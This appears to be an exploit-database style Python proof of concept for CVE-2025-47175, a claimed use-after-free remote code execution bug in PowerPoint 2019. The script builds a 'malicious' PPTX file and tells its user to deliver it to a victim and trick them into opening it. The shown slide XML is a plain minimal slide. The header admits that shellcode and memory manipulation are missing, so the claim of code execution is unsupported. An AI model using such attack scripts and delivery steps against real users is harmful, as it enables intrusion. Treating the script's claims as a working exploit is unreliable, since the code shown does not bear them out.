Microsoft PowerPoint 2019 – Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Microsoft PowerPoint 2019 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-02 # Tested on: Microsoft PowerPoint 2019 / Office 365 (version before June 2025 Patch) # CVE: CVE-2025-47175 # Type: Use-After-Free (UAF) Remote Code Execution (local user required) # Platform: Windows (PowerPoint) # Author Country: Jordan # Attack Vector: Local (User must open crafted PPTX file) # Description: # This exploit leverages a Use-After-Free vulnerability in Microsoft PowerPoint # allowing an attacker to execute arbitrary code by tricking a user into opening # a specially crafted PPTX file. This PoC generates such a malicious PPTX file # designed to trigger the UAF condition. # # Steps of exploitation: # 1. Run this script to generate the malicious PPTX file. # 2. Send or trick the target user to open this file in a vulnerable PowerPoint version. # 3. Exploit triggers upon opening the file, leading to possible code execution. # # Note: This PoC creates a simplified PPTX file structure with crafted XML designed # to trigger the vulnerability. For a full exploit, further memory manipulation and shellcode injection # are required (not included here). # # Affected Versions: # Microsoft PowerPoint versions prior to June 2025 patch (KB5002689) # # Usage: # python3 exploit_cve2025_47175.py [options] # # Options: # -o, --output Output PPTX filename (default: exploit_cve_2025_47175.pptx) # -i, --id Shape ID (default: 1234) # -n, --name Shape Name (default: MaliciousShape) # -t, --text Trigger text inside the slide (default: explanation message) # # Example: # python3 exploit_cve2025_47175.py -o evil.pptx -i 5678 -n "BadShape" -t "Triggering CVE-2025-47175 now!" import zipfile import sys import argparse def create_exploit_pptx(filename, shape_id, shape_name, trigger_text): slide_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld> <p:spTree> <p:sp> <p:nvSpPr> <p:cNvPr id="{shape_id}" name="{shape_name}"/> <p:cNvSpPr/> <p:nvPr/> </p:nvSpPr> <p:spPr/> <p:txBody> <a:bodyPr/> <a:lstStyle/> <a:p> <a:r> <a:t>{trigger_text}</a:t> </a:r> </a:p> </p:txBody> </p:sp> </p:spTree> </p:cSld> </p:sld>''' try: with zipfile.ZipFile(filename, 'w') as z: z.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> </Types>''') z.writestr('ppt/_rels/presentation.xml.rels', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> </Relationships>''') z.writestr('ppt/presentation.xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:sldIdLst> <p:sldId id="256" r:id="rId1"/> </p:sldIdLst> <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/> </p:presentation>''') z.writestr('ppt/slides/slide1.xml', slide_xml) print(f"[+] Malicious PPTX file '{filename}' created successfully.") print("[*] Deliver this file to the victim and wait for them to open it in vulnerable PowerPoint.") except Exception as e: print(f"[-] Error: {e}", file=sys.stderr) sys.exit(1) def main(): parser = argparse.ArgumentParser(description='Exploit generator for CVE-2025-47175 (PowerPoint UAF)') parser.add_argument('-o', '--output', type=str, default='exploit_cve_2025_47175.pptx', help='Output PPTX filename (default: exploit_cve_2025_47175.pptx)') parser.add_argument('-i', '--id', type=int, default=1234, help='Shape ID (default: 1234)') parser.add_argument('-n', '--name', type=str, default='MaliciousShape', help='Shape Name (default: MaliciousShape)') parser.add_argument('-t', '--text', type=str, default='This content triggers CVE-2025-47175 UAF vulnerability.', help='Trigger text inside the slide (default: explanation message)') args = parser.parse_args() create_exploit_pptx(args.output, args.id, args.name, args.text) if __name__ == "__main__": main() |
